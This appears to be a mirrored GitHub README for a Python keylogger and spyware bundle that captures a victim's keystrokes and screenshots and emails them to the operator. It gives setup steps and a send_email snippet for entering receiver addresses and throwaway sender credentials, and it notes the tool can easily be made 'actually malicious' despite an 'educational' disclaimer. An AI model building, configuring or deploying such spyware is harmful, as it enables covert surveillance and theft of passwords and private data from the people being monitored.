michaelradu / Keylogger

A Keylogger made in Python that sends you the collected data via email.

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Python Keylogger

MIT Licence

This is a proof-of-concept keylogger and general spyware bundle. It tracks user input and what is currently shown on their screen at regular intervals and sends you the data via email. Given the current implementation for educational purposes it is not using the best approach, but can be easily modified to be actually malicious.

Requirements: Python 3+

Usage

In Start.py, in the send_email function, add the emails on which you want to receive the tracked data in receiver_emails and the credentials of the throwaway email that will send you the data in yag=yagmail.SMTP().

Example:

def send_email():
    receiver_emails = ['receiver-email@outlook.com'] 
    subject = "Keylog Data" + datetime.now().strftime("%d-%m-%Y %H-%M-%S")   
    yag=yagmail.SMTP("sender-email@gmail.com","throwaway123")

Note: Since most people use Windows, this script has been modified, if you use Linux install PILL linux

Prerequisites

$ pip install -r requirements.txt

Usage

$ python start.py

Packages

| pyautogui | PyAutoGUI is a cross-platform GUI automation Python module for human beings. Used to programmatically control the mouse & keyboard.|
| pynput | This library allows you to control and monitor input devices.|
| yagmail | Sending an Email is simple:.|

Please note, this repo is for educational purposes only. No contributors, major or minor, are to fault for any actions done by this program.




🔓 License

MIT © Michael Radu
Don't really understand licenses or tl;dr? Check out the MIT license summary.

About

A Keylogger made in Python that sends you the collected data via email.

License:MIT License


Languages

Language:Python 100.0%